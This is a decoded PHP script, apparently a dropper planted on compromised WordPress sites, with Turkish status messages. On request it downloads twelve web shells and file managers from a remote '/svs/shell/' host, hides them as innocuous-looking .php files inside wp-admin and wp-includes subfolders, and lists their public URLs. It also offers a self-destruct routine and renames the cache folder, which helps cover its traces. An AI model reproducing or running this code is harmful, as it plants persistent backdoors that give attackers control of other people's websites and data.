PHP Decode

function downloadFile($url, $fileName) {
            $data = file_get_contents($url);
            file_put_contents($fileName, $data);
        }

        function moveFile($source, $destination) {
            if (!file_exists(dirname($destination))) {
                mkdir(dirname($destination), 0777, true);
            }
            rename($source, $destination);
        }

        function getWebPath($fileSystemPath) {
            $documentRoot = $_SERVER['DOCUMENT_ROOT'];
            $serverName = $_SERVER['SERVER_NAME'];
            $relativePath = str_replace($documentRoot, '', $fileSystemPath);
            return 'https://' . $serverName . $relativePath;
        }

        function clearCache() {
            $cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache';
            if (is_dir($cacheDir)) {
                $newName = $cacheDir . rand(10, 99);
                rename($cacheDir, $newName);
                echo '<div class="alert alert-success mt-3" role="alert">Cache klasr baaryla yeniden adlandrld: ' . basename($newName) . '</div>';
            } else {
                echo '<div class="alert alert-warning mt-3" role="alert">Cache klasr bulunamad.</div>';
            }
        }

        $wordpressRoot = $_SERVER['DOCUMENT_ROOT']; // WordPress'in kk dizinini alr

        $urls = [
            "https://zip1.com.tr/svs/shell/fmadmin.txt",
            "https://zip1.com.tr/svs/shell/fmanager.txt",
            "https://zip1.com.tr/svs/shell/adminer.txt",
            "https://zip1.com.tr/svs/shell/wordpress.txt",
            "https://zip1.com.tr/svs/shell/niil.txt",
            "https://zip1.com.tr/svs/shell/sok.txt",
            "https://zip1.com.tr/svs/shell/system.txt",
            "https://zip1.com.tr/svs/shell/tiny.txt",
            "https://zip1.com.tr/svs/shell/yeni.txt",
            "https://zip1.com.tr/svs/shell/zip-blog.txt",
            "https://zip1.com.tr/svs/shell/scan.txt",
            "https://zip1.com.tr/svs/shell/zip-header.txt"
        ];

        $finalPaths = [
            "$wordpressRoot/wp-admin/fmadmin.php",
            "$wordpressRoot/wp-admin/css/midnight/fmanager.php",
            "$wordpressRoot/wp-admin/css/modern/adminer.php",
            "$wordpressRoot/wp-admin/user/wordpress.php",
            "$wordpressRoot/wp-includes/css/dist/niil.php",
            "$wordpressRoot/wp-includes/css/dist/sok.php",
            "$wordpressRoot/wp-includes/Requests/src/system.php",
            "$wordpressRoot/wp-includes/Requests/src/Utility/tiny.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/yeni.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/zip-blog.php",
            "$wordpressRoot/wp-includes/blocks/audio/scan.php",
            "$wordpressRoot/wp-includes/blocks/audio/zip-header.php"
        ];

        $links = [];

        if (isset($_POST['downloadAll']) || isset($_POST['downloadSingle'])) {
            $indices = isset($_POST['downloadAll']) ? array_keys($urls) : [$_POST['index']];
            foreach ($indices as $index) {
                $tempFile = basename($finalPaths[$index]);
                downloadFile($urls[$index], $tempFile);
                moveFile($tempFile, $finalPaths[$index]);
                $links[$index] = getWebPath($finalPaths[$index]);
            }
        }

        if (isset($_POST['self_destruct'])) {
            $currentFile = __FILE__;
            unlink($currentFile);
            echo '<div class="alert alert-success mt-3" role="alert">Dosya baaryla silindi.</div>';
            exit();
        }

        if (isset($_POST['clear_cache'])) {
            clearCache();
        }